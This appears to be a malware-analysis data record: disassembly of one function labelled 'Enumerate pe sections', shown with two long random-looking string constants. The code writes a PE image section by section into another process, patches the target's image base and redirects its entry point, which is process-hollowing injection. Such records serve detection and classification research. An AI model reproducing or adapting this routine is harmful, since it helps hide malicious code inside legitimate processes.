Function at 0x403680
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x414550
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x463090]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x24], str.3o7KN9GOIcy6KByYwm022LTaGPvfUO4q6R2otFji4pK80prDEejgzl7x5qPXXK4jEHQWUY9sR4ROIf5OR3SsYV6GeFGrTzt52NVyHbEXgb4jtkqBwT4CgIH04yUstjkk6W4CH2vssesvF27BxLB2FwTTAvnxf9nakNuN6VwEJ255vQwXoxLgQOVPShP1An3dJWX3sVOeuPXt4pGibXf7JHdg723UIuxEXQCyBGDUaf5ScumMyH9EBVkEvnG6G3F8dP5KKwrqhhkhD005Kh5f4T9voep9nN1OeappppUwqjAngNUy7fBNySET7zVLylHOKqFcPuccSmAPtzgLqIXMNowz2TLtuBsB64DpPytqWBD9vEQSvYVjxlAV6f5FAyRrL3ncxRr4IjNiw7Uj9kW44wFsryBxEAHHCQjaFjhl5nx8t9lVHYVXXnLzfe51levj2Tl7enms28ke96I982ggbX8MM1bP59tF1uO9AcfFEgxUbsoUWtKp009Ap4usa9vJ6MxCqzIe4Swk1RmFfcFa0PsuzTCaIbfWrSKbJSKovtzlV5lnIVKw7rU1Lu5VGkYiLJaHRewrhTXB30KuCobMAtwHB7mzPOJemdUltjrHJqTwhGI2M6zs0cx8IvSBK3gL72Dxzr4tmJwhol4uCu2ngwoRSK3lRuYqrRnYsDc5GQXO0hjT8U6BB1ItUncSsN0fqeEBNuPSjeiPuXIMSAJtBQnAIfB3zNaKCwrEzicfUFvP82cd0DqA8RpOgCxrap22g69A5VDxjqB1YdpKf33Oqy5NBbbsVGOD57FbWXMaj5uqXpFuTIWj11PcTXGesQtFrFkr9AswQF4NOF21QsXrN1kFksbDagEKgLTEYBE3Ux9H49gsyUkTXWqTesHneqG02gDm2tAbCvwp8aNs4FJB4QczVdhRJWE4OUcohlFn6IV1dcM9XaoKVoTqTkQkyDi5joJOYVw6BL4lmN6buLSOMT1bFOmHpo5IIdQYKDYQrAz0rJiLoIhw7leAO5FKNgacQQAuwv380w3laSDA298QLjop4TBW8tpb7ArfxbYsLk3u3g5Qj3o4W3Ap9tWyzlnUtFnmoYbmh64ms2jhLmvH8r7nUnqC9lm9scMf0RjobnzBztG7uRly90s9hxIVI8k5d9xBCqc8a3XEp3j87hfF9Tiwfkt3WqWwqrWlNSR91rCGNkVATb1nDVwmRvgil9BIoPMFs9A3BdQGr24hE1RfqygvjbDLflovW0g5NGNqRrUnN2RvMaw9DQLONS7jNb5ayu2ipG9VPD3ddke6hT7cGKRIYJr3omJesUSIWsEpzfHIrSLw93RbUO1N9nLj4eRdywG0qX8vtjrPdKPy6f2jF094XrmvWnqz1mXRFfaF4tWuTPhISuNDLn8J2TMbi9IiSVEDH9xIoD7VQIr1uPr1et3RyqGyFbVyDPKS4uH2PISFPazJDVNsIpsluSm5uHIeefLJJKqQINq1NV9NvOeHEVpNxywjVJwsTfAyWYfOKcFyStJI6oyQUeh2SjPivCsEV2wGG1Qj7MrgrxtdqC2V8lCtexMu03fmASeoJy6px4sA8ddfvygYF74jOgMPoYiob7LUB9XRg3krQTmVrlhUIfpqo5aH0MBIY9DqB7yb2oxcLn2BfauGdeBoc96Wn6QxltF4MCav6huElGXO2jG8OrJt1cFPlTlfBG7V
mov dword [ebp - 0x28], str.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
push 0x4322f4
mov ecx, dword [ebp - 0x20]
call fcn.00402680
push 0
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + 0x54]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [0x4651f0]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x18], 0
jmp 0x403701
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp + 0x10]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0x18], ecx
jge 0x403751
mov edx, dword [ebp - 0x18]
imul edx, edx, 0x28
add edx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x18]
mov ecx, dword [eax + 0x3c]
lea edx, [edx + ecx + 0xf8]
mov dword [ebp - 0x1c], edx
push 0
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax + 0x10]
push ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 0xc]
add eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0xc]
push edx
mov eax, dword [0x4651f0]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x4036f8
push 0
push 4
mov ecx, dword [ebp + 0x10]
add ecx, 0x34
push ecx
mov edx, dword [ebp + 0x14]
mov eax, dword [edx + 0xa4]
add eax, 8
push eax
mov ecx, dword [0x4651f0]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x28]
mov ecx, dword [ebp + 0x14]
mov dword [ecx + 0xb0], eax
mov al, 1
jmp 0x4037af
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14